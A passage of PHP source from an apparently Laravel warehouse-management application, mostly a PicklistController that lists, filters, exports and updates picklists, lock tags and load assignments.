}
/**
* Logout current user
*
* @param
* @return Response
*/
public function postLogout() {
Auth::logout();
return Response::json(array(
"error" => false,
"message" => 'Successfully logged out!'),
200
);
}
}<file_sep><?php
class PicklistController extends BaseController {
protected $layout = "layouts.main";
private $types = array('upc'=> 'UPC','store'=>'Store' );
public function __construct() {
$this->beforeFilter('csrf', array('on' => 'post'));
$this->beforeFilter('auth', array('only'=> array('Dashboard')));
$this->apiUrl = Config::get('constant.api_url');
date_default_timezone_set('Asia/Manila');
}
/**
* Shows List of Picklist
*
* @example www.example.com/picklist
*
* @return View of Picklist
*/
public function showIndex() {
// Check Permissionsdissd
if (Session::has('permissions')) {
if (!in_array('CanAccessPacking', unserialize(Session::get('permissions')))) {
return Redirect::to('purchase_order');
}
} else {
return Redirect::to('users/logout');
}
$this->getList();
}
public function printPackingList($doc_num)
{
// Search Filters
$filter_doc_no = Input::get('filter_doc_no', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$this->data['url_back'] = $this->setURL();
$this->data['doc_num'] = $doc_num;
$this->data['records'] = Picklist::getPackingDetails($doc_num);
$this->data['storelocation'] = Picklist::getStoreLocationwarehouse($doc_num);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout = View::make('layouts.print');
$this->layout->content = View::make('picking.print_packing_list', $this->data);
}
public function getList()
{
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_export'] = Lang::get('general.button_export');
$this->data['url_detail'] = URL::to('picking/detail' . $this->setURL(true));
$this->data['url_lock_tags'] = URL::to('picking/locktags');
$this->data['url_export'] = URL::to('picking/export'. $this->setURL(true));
$this->data['url_change_to_store'] = URL::to('picking/change_to_store');
$this->data['url_generate_load_code'] = URL::to('picking/new/load');
$this->data['url_assign'] = URL::to('picking/assign'). $this->setURL();
$this->data['urlshipdate'] = URL::to('picking/updatedate'.$this->setURL());
$this->data['stores'] = Store::lists( 'store_name', 'store_code');
// $this->data['url_load'] = URL::to('picking/load');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['pl_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
$this->data['pl_type'] = $this->types;
$this->data['load_codes'] = $this->getLoadCodes();
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['StoreOptions'] = $this->getStoreBranches();
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_transfer_no = Input::get('filter_transfer_no', NULL);
$filter_action_date = Input::get('filter_action_date', NULL);
$sort = Input::get('sort', 'doc_no');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = Picklist::getPickingListv2($arrParams)->toArray();
$results_total = Picklist::getPickingListv2($arrParams, TRUE);
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'filter_transfer_no' => $filter_transfer_no,
'filter_action_date' => $filter_action_date,
'sort' => $sort,
'order' => $order
);
$this->data['picklist'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_count'] = $results_total;
$this->data['counter'] = $this->data['picklist']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_action_date'] = $filter_action_date;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_type=' . $filter_type . '&filter_doc_no=' . $filter_doc_no;
$url .= '&filter_status=' . $filter_status . '&filter_store=' . $filter_store;
$url .= '&filter_stock_piler=' . $filter_stock_piler;
$url .= '&filter_transfer_no=' . $filter_transfer_no;
$url .= '&filter_action_date=' . $filter_action_date;
$url .= '&page=' . $page;
$order_doc_no = ($sort=='doc_no' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_doc_no'] = URL::to('picking/list' . $url . '&sort=doc_no&order=' . $order_doc_no, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('picking.list', $this->data);
}
public function getUpdateDate()
{
$move_doc_number = Input::get('move_doc_number', NULL);
$ship_date = Input::get('filter_date_entry', null);
Picklist::getUpdateDateMod($move_doc_number, $ship_date);
$users = User::getUsersFullname(Input::get('stock_piler'));
$fullname = implode(', ', array_map(function ($entry) { return $entry['name']; }, $users));
// $user = User::find(Input::get('stock_piler'));
$data_before = '';
$data_after = 'MTS no. : ' . $move_doc_number . ', Ship date : '.$ship_date;
$arrParams = array(
'module' => Config::get("audit_trail_modules.picking/packing"),
'action' => Config::get("audit_trail.ship_date_updated"),
'reference' => 'Ship date : ' . $ship_date,
'data_before' => $data_before,
'data_after' => $data_after,
'user_id' => Auth::user()->id,
'created_at' => date('Y-m-d H:i:s'),
'updated_at' => date('Y-m-d H:i:s')
);
AuditTrail::addAuditTrail($arrParams);
return Redirect::to('picking/list?&move_doc_number='.$move_doc_number.'&filter_date_entry='.$ship_date)->with('message','Ship Date Successfully Update!');
}
/*public function exportexcelCSV()
{
$this->checkPermissions('CanExportPickingDocuments');
$arrParams = array(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPickingList($arrParams);
$output = Lang::get('picking.col_id'). ',';
$output .= Lang::get('picking.col_type'). ',';
$output .= Lang::get('picking.col_doc_no'). ',';
$output .= Lang::get('picking.col_status'). "\n";
$pl_status_type = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->id . '"',
'"' . $value->type . '"',
'"' . $value->move_doc_number . '"',
'"' . $pl_status_type[$value->pl_status] . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="picklist_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}*/
public function exportCSVasdf2fsdf()
{
$arrParams = array(
'filter_entry_date' => Input::get('filter_entry_date', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPickingListvVariance($arrParams);
$output = Lang::get('picking.col_doc_no'). ',';
$output .= Lang::get('picking.col_store_name'). ',';
$output .= Lang::get('picking.col_sku'). ',';
$output .= Lang::get('picking.col_upc'). ',';
$output .= Lang::get('picking.col_shrt_nm'). ',';
$output .= Lang::get('picking.col_from_slot_code'). ',';
$output .= Lang::get('picking.col_qty_to_pick'). ',';
$output .= Lang::get('picking.col_stock_piler'). ',';
$output .= Lang::get('picking.col_entry_date'). ',';
$output .= Lang::get('picking.col_var'). "\n";
$pl_status_type = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
foreach ($results as $key => $value) {
$exportData = array(
'"' . $value->move_doc_number . '"',
'"' . $value->store_name . '"',
'"' . $value->sku . '"',
'"' . $value->upc . '"',
'"' . $value->description . '"',
'"' . $value->from_slot_code . '"',
'"' . $value->quantity_to_pick . '"',
'"' . $value->firstname . ' '. $value->lastname .'"',
'"' .date("M d, Y", strtotime($value->created_at)). '"',
'"' . $value->variance . '"'
);
$output .= implode(",", $exportData);
$output .= "\n";
}
$headers = array(
'Content-Type' => 'text/csv',
'Content-Disposition' => 'attachment; filename="picklist_' . date('Ymd') . '_' . time() . '.csv"',
);
return Response::make(rtrim($output, "\n"), 200, $headers);
}
public function exportCSV()
{
$this->checkPermissions('CanExportPacking');
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPickingListv2($arrParams)->toArray();
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('picking.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('picking_' . date('Ymd') . '.pdf');
}
public function exportPickListVarianceCSV()
{
$this->checkPermissions('CanExportPacking');
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$filter_doc_no = Input::get('filter_doc_no', null);
$filter_entry_date = Input::get('filter_entry_date', null);
$arrParams = array
(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_entry_date' =>Input::get('filter_entry_date', null),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPickingListvVariance($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('picking.report_list', $this->data)->setPaper('a4')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('picking_' . date('Ymd') . '.pdf');
}
public function exportPickListprintMTS()
{
$this->checkPermissions('CanExportPacking');
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$arrParams = array(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPickingListvVariance($arrParams);
$this->data['results'] = $results;
$pdf = App::make('dompdf');
$pdf->loadView('picking.report_list', $this->data)->setPaper('a7')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('picking_' . date('Ymd') . '.pdf');
}
public function exportDetailCSV()
{
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$picklist_doc = Input::get('picklist_doc', null);
$arrParams = array(
'filter_type' => Input::get('filter_type', NULL),
'filter_doc_no' => Input::get('filter_doc_no', NULL),
'filter_status' => Input::get('filter_status', NULL),
'filter_store' => Input::get('filter_store', NULL),
'filter_stock_piler' => Input::get('filter_stock_piler', NULL),
'picklist_doc' => Input::get('picklist_doc', null),
'sort' => Input::get('sort', 'doc_no'),
'order' => Input::get('order', 'ASC'),
'page' => NULL,
'limit' => NULL
);
$results = Picklist::getPRINTMTSasdf($picklist_doc, $arrParams);
$this->data['results'] = $results;
$this->data['picklist_doc'] = $picklist_doc;
$pdf = App::make('dompdf');
$pdf->loadView('picking.report_detail', $this->data)->setPaper('a7')->setOrientation('landscape');
// return $pdf->stream();
return $pdf->download('mts_print_' . date('Ymd') . '.pdf');
}
public function getPicklistDetails()
{
$this->checkPermissions('CanAccessPacking');
$picklistDoc = Input::get('picklist_doc', NULL);
if($picklistDoc == NULL) return Redirect::to('picking/list')->withError(Lang::get('picking.error_not_exist'));
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['url_back'] = URL::to('picking/list' . $this->setURL(true));
$this->data['url_detail'] = URL::to('picking/detail' . $this->setURL(true));
$this->data['pick_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
//added this because there is not closed in the detail
unset($this->data['pick_status_type'][2]);
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_status = Input::get('filter_status', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_transfer_no = Input::get('filter_transfer_no', null);
// $filter_to_slot = Input::get('filter_to_slot', NULL);
// $filter_status_detail = Input::get('filter_status_detail', NULL);
//for back
$sort_back = Input::get('sort_back', 'doc_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'picklist_doc' => $picklistDoc,
'filter_transfer_no' => $filter_transfer_no,
'limit' => 30
);
$results = PicklistDetails::getFilteredPicklistDetail($arrParams);
$results_total = PicklistDetails::getFilteredPicklistDetail($arrParams, true);
// echo "<pre>"; print_r($results);die();
// Pagination
$this->data['arrFilters'] = array(
// 'filter_to_slot' => $filter_to_slot,
// 'filter_status_detail' => $filter_status_detail,
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_status' => $filter_status,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'picklist_doc' => $picklistDoc,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_transfer_no' => $filter_transfer_no,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
$this->data['picklist_detail'] = Paginator::make($results->toArray(), $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['picklist_detail']->getFrom();
$this->data['picklist_doc'] = $picklistDoc;
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_status'] = $filter_status;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_transfer_no'] = $filter_transfer_no;
$this->data['filter_stock_piler'] = $filter_stock_piler;
// $this->data['filter_status_detail'] = $filter_status_detail;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_sku=' . $filter_sku . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_from_slot=' . $filter_from_slot . '&picklist_doc=' . $picklistDoc;
$url .= '&page=' . $page_detail;
$this->data['url_export_detail'] = URL::to('picking/export_detail' . $url);
$order_sku = ($sort_detail=='sku' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_upc = ($sort_detail=='upc' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_so_no = ($sort_detail=='so_no' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$order_from_slot_code = ($sort_detail=='from_slot_code' && $order_detail=='ASC') ? 'DESC' : 'ASC';
// $order_to_slot_code = ($sort_detail=='to_slot_code' && $order_detail=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_sku'] = $_SERVER['REQUEST_URI'] . $url . '&sort=sku&order=' . $order_sku;
$this->data['sort_upc'] = $_SERVER['REQUEST_URI'] . $url . '&sort=upc&order=' . $order_upc;
$this->data['sort_so_no'] = $_SERVER['REQUEST_URI'] . $url . '&sort=so_no&order=' . $order_so_no;
$this->data['sort_from_slot_code'] = $_SERVER['REQUEST_URI'] . $url . '&sort=from_slot_code&order=' . $order_from_slot_code;
// $this->data['sort_to_slot_code'] = URL::to('picking/detail' . $url . '&sort=to_slot_code&order=' . $order_to_slot_code, NULL, FALSE);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('picking.detail', $this->data);
}
public function getdiscrepancy()
{
$this->data = Lang::get('picking');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['button_back'] = Lang::get('general.button_back');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['url_back'] = URL::to('picking/list');
$this->data['url_export'] = URL::to('picking/export'. $this->setURL());
$this->data['url_exportexcel'] = URL::to('picking/export_excel_file'. $this->setURL(true));
$this->data['url_detail'] = URL::to('picking/detail' . $this->setURL(true));
$this->data['pick_status_type'] = Dataset::getTypeWithValue("PICKLIST_STATUS_TYPE");
//added this because there is not closed in the detail
unset($this->data['pick_status_type'][2]);
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
// Search Filters
$filter_type = Input::get('filter_type', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_entry_date = Input::get('filter_entry_date', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$filter_upc = Input::get('filter_upc', NULL);
$filter_so = Input::get('filter_so', NULL);
$filter_from_slot = Input::get('filter_from_slot', NULL);
$filter_store = Input::get('filter_store', NULL);
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$picklist_doc = Input::get('picklist_doc', null);
//for back
$sort_back = Input::get('sort_back', 'doc_no');
$order_back = Input::get('order_back', 'ASC');
$page_back = Input::get('page_back', 1);
// Details
$sort_detail = Input::get('sort', 'sku');
$order_detail = Input::get('order', 'ASC');
$page_detail = Input::get('page', 1);
$arrParams = array(
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_entry_date' => $filter_entry_date,
'filter_doc_no' => $filter_doc_no,
'filter_stock_piler' => $filter_stock_piler,
'sort' => $sort_detail,
'order' => $order_detail,
'page' => $page_detail,
'limit' => 30
);
$results = Picklist::getPickingListvVariance($arrParams)->toArray();
$results_total = Picklist::getPickingListvVariance($arrParams, true);
// echo "<pre>"; print_r($results);die();
// Pagination
$this->data['arrFilters'] = array(
'filter_type' => $filter_type,
'filter_doc_no' => $filter_doc_no,
'filter_entry_date' => $filter_entry_date,
'filter_store' => $filter_store,
'filter_stock_piler' => $filter_stock_piler,
'sort_back' => $sort_back,
'order_back' => $order_back,
'page_back' => $page_back,
'filter_sku' => $filter_sku,
'filter_upc' => $filter_upc,
'filter_so' => $filter_so,
'filter_from_slot' => $filter_from_slot,
'sort' => $sort_detail,
'order' => $order_detail
);
/* print_r($results);
exit();*/
$this->data['picklist_discrepancy'] = Paginator::make($results, $results_total, 30);
$this->data['picklist_detail_count'] = $results_total;
$this->data['counter'] = $this->data['picklist_discrepancy']->getFrom();
$this->data['filter_type'] = $filter_type;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_sku'] = $filter_sku;
$this->data['filter_upc'] = $filter_upc;
$this->data['filter_so'] = $filter_so;
$this->data['filter_from_slot'] = $filter_from_slot;
$this->data['filter_store'] = $filter_store;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['sort_back'] = $sort_back;
$this->data['order_back'] = $order_back;
$this->data['page_back'] = $page_back;
// Details
$this->data['sort'] = $sort_detail;
$this->data['order'] = $order_detail;
$this->data['page'] = $page_detail;
$url = '?filter_doc_no=' . $filter_doc_no . '&filter_upc=' . $filter_upc . '&filter_so=' . $filter_so;
$url .= '&filter_entry_date=' . $filter_entry_date;
$url .= '&page=' . $page_detail;
$this->data['url_export_detail'] = URL::to('picking/export_detail' . $url);
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('picking.discrepancy', $this->data);
}
public function getLockTagList()
{
$this->checkPermissions('CanViewPickingLockTags');
$this->data['heading_title_picking_lock_tags'] = Lang::get('picking.heading_title_picking_lock_tags');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_warning_unlock'] = Lang::get('picking.text_warning_unlock');
$this->data['text_warning_unlock_single'] = Lang::get('picking.text_warning_unlock_single');
$this->data['label_stock_piler'] = Lang::get('picking.label_stock_piler');
$this->data['label_doc_no'] = Lang::get('picking.label_doc_no');
$this->data['label_sku'] = Lang::get('picking.label_sku');
$this->data['col_time_locked'] = Lang::get('picking.col_time_locked');
$this->data['col_stock_piler'] = Lang::get('picking.col_stock_piler');
$this->data['col_action'] = Lang::get('picking.col_action');
$this->data['button_search'] = Lang::get('general.button_search');
$this->data['button_clear'] = Lang::get('general.button_clear');
$this->data['button_to_picking'] = Lang::get('picking.button_to_picking');
$this->data['button_unlock_tags'] = Lang::get('picking.button_unlock_tags');
$this->data['button_unlock_tag'] = Lang::get('picking.button_unlock_tag');
$this->data['url_to_picking'] = URL::to('picking/list');
$this->data['url_lock_detail'] = URL::to('picking/locktags_detail'. $this->setURLLock(true));
$this->data['url_unlock']= URL::to('picking/unlock');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$this->data['stock_piler_list'] = $this->getStockPilers();
$this->data['error_no_lock_tag'] = Lang::get('picking.error_no_lock_tag');
// Search Filters
$filter_stock_piler = Input::get('filter_stock_piler', NULL);
$filter_doc_no = Input::get('filter_doc_no', NULL);
$filter_sku = Input::get('filter_sku', NULL);
$sort = Input::get('sort', 'lock_tag');
$order = Input::get('order', 'ASC');
$page = Input::get('page', 1);
//Data
$arrParams = array(
'filter_stock_piler' => $filter_stock_piler,
'filter_doc_no' => $filter_doc_no,
'filter_sku' => $filter_sku,
'sort' => $sort,
'order' => $order,
'page' => $page,
'limit' => 30
);
$results = PicklistDetails::getLockTags($arrParams)->toArray();
$results_total = PicklistDetails::getLockTags($arrParams, true);
// Pagination
$this->data['arrFilters'] = array(
'filter_stock_piler' => $filter_stock_piler,
'filter_doc_no' => $filter_doc_no,
'filter_sku' => $filter_sku,
'sort' => $sort,
'order' => $order
);
$this->data['lock_tag'] = Paginator::make($results, $results_total, 30);
$this->data['lock_tag_count'] = $results_total;
$this->data['counter'] = $this->data['lock_tag']->getFrom();
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_doc_no'] = $filter_doc_no;
$this->data['filter_sku'] = $filter_sku;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page;
$url = '?filter_stock_piler=' . $filter_stock_piler . '&filter_doc_no=' .$filter_doc_no . '&filter_sku=' . $filter_sku. '&page=' . $page ;
$order_lock_tag = ($sort=='lock_tag' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['sort_lock_tag'] = URL::to('picking/locktags' . $url . '&sort=lock_tag&order=' . $order_lock_tag, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('picking.locklist_details', $this->data);
}
public function getLockTagDetail()
{
$this->checkPermissions('CanViewPickingLockTags', false);
$this->data['heading_title_picking_lock_tags'] = Lang::get('picking.heading_title_picking_lock_tags');
$this->data['text_empty_results'] = Lang::get('general.text_empty_results');
$this->data['text_total'] = Lang::get('general.text_total');
$this->data['text_select'] = Lang::get('general.text_select');
$this->data['text_warning_unlock_single'] = Lang::get('picking.text_warning_unlock_single');
$this->data['col_doc_number'] = Lang::get('picking.col_doc_number');
$this->data['col_upc'] = Lang::get('picking.col_upc');
$this->data['col_product_name'] = Lang::get('picking.col_product_name');
$this->data['col_store_code'] = Lang::get('picking.col_store_code');
$this->data['col_store'] = Lang::get('picking.col_store');
$this->data['button_back'] = Lang::get('picking.button_back_lock_tags');
$this->data['button_unlock_tag'] = Lang::get('picking.button_unlock_tag');
$this->data['url_back']= URL::to('picking/locktags'. $this->setURLLock(false, true));
$this->data['url_unlock']= URL::to('picking/unlock');
// Message
$this->data['error'] = '';
if (Session::has('error')) {
$this->data['error'] = Session::get('error');
}
$this->data['success'] = '';
if (Session::has('success')) {
$this->data['success'] = Session::get('success');
}
$lockTag = Input::get('lock_tag', NULL);
$this->data['lock_tag'] = $lockTag;
$this->data['filter_stock_piler'] = Input::get('filter_stock_piler', NULL);
$this->data['filter_doc_no'] = Input::get('filter_doc_no', NULL);
$this->data['filter_sku'] = Input::get('filter_sku', NULL);
$this->data['sort_back'] = Input::get('sort_back', 'lock_tag');
$this->data['order_back'] = Input::get('order_back', 'ASC');
$this->data['page_back'] = Input::get('page_back', 1);
$results = PicklistDetails::getLockTagDetails($lockTag);
$resultsTotal = count($results['details']); // since there is no pagination
$this->data['lock_tag_details'] = $results['details'];
$this->data['sum_moved']= $results['sum_moved'];
$this->data['sum_moved_qty']= $results['sum_moved_qty'];
$this->data['lock_tag_details_count'] = $resultsTotal;
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('picking.locklist_details', $this->data);
}
/**
* Unlock picklist lock tags
*
* @example www.example.com/picking/unlock
*
* @param lock_tag lock tag
* @return void
*/
public function unlockPicklistTag()
{
try {
$data = Input::all();
if(!isset($data['lock_tag'])) throw new Exception("Lock tag empty.");
$lockTags = explode(',',$data['lock_tag']);
if(empty($lockTags)) throw new Exception("Lock tag empty.");
DB::beginTransaction();
PicklistDetails::unlockTag($lockTags);
self::unlockPicklistTagAuditTrail($lockTags);
DB::commit();
return Redirect::to('picking/locktags'. $this->setURLLock())->with('message', Lang::get('picking.text_success_unlock'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('picking/locktags'. $this->setURLLock())->withErrors(Lang::get('picking.text_fail_unlock'));
}
}
/**
* Change picklist to store
*
* @example www.example.com/picking/change_to_store
*
* @param picklist_doc_no Picklist document number
* @return void
*/
public function changeToStore()
{
try {
$data = Input::all();
DB::beginTransaction();
if(!isset($data['picklist_doc_no'])) throw new Exception("Document number empty.");
$docNo = explode(',', $data['picklist_doc_no']);
Picklist::changeToStore($docNo);
self::changeToStoreAuditTrail($docNo);
DB::commit();
return Redirect::to('picking/list'. $this->setURL())->with('message', Lang::get('picking.text_success_change'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('picking/list'. $this->setURL())->withErrors(Lang::get('picking.text_fail_change'));
}
}
public function loadPicklistDocuments()
{
try {
$data = Input::all();
if(!isset($data['picklist_docs'])) throw new Exception("Document number empty.");
$picklistDocs = explode(',', $data['picklist_docs']);
$loadCode =$data['load_codes'];
DB::beginTransaction();
foreach ($picklistDocs as $picklist) {
//get boxes for the picklist document
$picklistInfo = Picklist::getPickList($picklist);
if(empty($picklistInfo)) throw new Exception("Picklist does not exist");
StoreOrder::updateLoadCode($picklistInfo['so_no'], $loadCode);
$pallete = Pallet::getOrCreatePallete($picklistInfo['store_code'], $loadCode);
$boxes = BoxDetails::getBoxesByPicklistDetail($picklist);
DebugHelper::logVar(__METHOD__, $boxes);
foreach ($boxes as $box) {
PalletDetails::create(array(
'box_code' => $box,
'pallet_code' => $pallete['pallet_code']
));
Box::updateBox(array(
"box_code" => $box,
"store" => $picklistInfo['store_code'],
"in_use" => Config::get('box_statuses.in_use')
));
}
Picklist::where('move_doc_number', '=', $picklist)
->update(array(
'pl_status' => Config::get('picking_statuses.closed'),
'updated_at' => date('Y-m-d H:i:s')));
}
self::loadPicklistDocumentsAuditTrail($picklistDocs, $loadCode);
DB::commit();
return Redirect::to('picking/list'. $this->setURL())->with('message', Lang::get('picking.text_success_load'));
} catch (Exception $e) {
DB::rollback();
return Redirect::to('picking/list'. $this->setURL())->withErrors(Lang::get('picking.text_fail_load'));
}
}
/**
* Generate Load Code
*
* @example www.example.com/picking/new/load
*
* @return load code
*/
